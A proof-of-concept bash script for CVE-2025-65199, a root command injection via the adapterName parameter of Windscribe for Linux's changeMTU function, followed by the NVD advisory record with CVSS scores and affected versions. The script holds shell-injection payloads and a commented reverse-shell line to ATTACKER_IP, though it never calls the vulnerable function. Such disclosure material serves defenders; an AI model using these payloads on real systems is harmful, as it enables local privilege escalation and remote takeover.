CVE-2025-65199

#!/bin/bash # CVE-2025-65199 PoC - Windscribe Linux changeMTU Command Injection # Target: Windscribe Desktop App < v2.18.3-alpha / v2.18.8 # Prerequisites: Local user with windscribe group membership # Check if current user is in windscribe group echo '[*] Checking windscribe group membership...' if ! groups | grep -q windscribe; then echo '[-] User is not a member of windscribe group' exit 1 fi # Method 1: Exploitation via windscribe CLI (if available) # The following would trigger command injection through adapterName parameter # windscribe changeMTU --adapterName='; id > /tmp/pwned;' # Method 2: Direct exploitation through the vulnerable function # The vulnerability exists in the changeMTU function's handling of adapterName # Injection payload example: PAYLOAD="'; id >> /tmp/pwned; #" # Method 3: Reverse shell payload example # Attacker constructs payload to spawn root shell # PAYLOAD="'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; #" echo '[+] Preparing exploitation payload...' echo '[+] Payload: '$PAYLOAD # Note: Actual exploitation requires calling the vulnerable function # This can be done through: # 1. Windscribe GUI interaction (if accessible) # 2. IPC communication with windscribe service # 3. Direct manipulation of the windscribe configuration interface # Verify root access (if exploitation successful) if [ -f /tmp/pwned ]; then echo '[+] Exploitation successful! Check /tmp/pwned for proof' cat /tmp/pwned fi

{"cve": {"id": "CVE-2025-65199", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-12-10T19:16:34.957", "lastModified": "2025-12-23T15:27:16.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A command injection vulnerability exists in Windscribe for Linux Desktop App that allows a local user who is a member of the windscribe group to execute arbitrary commands as root via the 'adapterName' parameter of the 'changeMTU' function. Fixed in Windscribe v2.18.3-alpha and v2.18.8."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:windscribe:windscribe:*:*:*:*:*:linux:*:*", "versionStartIncluding": "2.10.1", "versionEndIncluding": "2.17.10", "matchCriteriaId": "5DBDBD3A-79B2-4792-8A78-FB0832F85ED0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:windscribe:windscribe:2.18.1:alpha:*:*:*:linux:*:*", "matchCriteriaId": "219C41C4-EA3A-4727-808E-A849211381A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:windscribe:windscribe:2.18.3:*:*:*:*:linux:*:*", "matchCriteriaId": "6749852B-2926-4050-8EEE-052F6FCC425A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:windscribe:windscribe:2.18.5:*:*:*:*:linux:*:*", "matchCriteriaId": "12AA0573-F7DD-4155-B9C4-BEDF27ABE2E4"}]}]}], "references": [{"url": "https://github.com/Windscribe/Desktop-App", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Product"]}, {"url": "https://github.com/Windscribe/Desktop-App/compare/v2.18.2...v2.18.3?diff=unified&w#diff-57e27ab201a1a612609087b839e03bf87a5a063ffcc3f465a6245469bc102754", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://github.com/Windscribe/Desktop-App/compare/v2.18.2...v2.18.3?diff=unified&w#diff-cfc5df17057ed92112ae70a42c81c57c79f434429210ff881fb0771cf8e39b4c", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Patch"]}, {"url": "https://hackingbydoing.wixsite.com/hackingbydoing/post/windscribe-vpn-local-privilege-escalation", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Exploit", "Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-343-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-65199", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory", "US Government Resource"]}]}}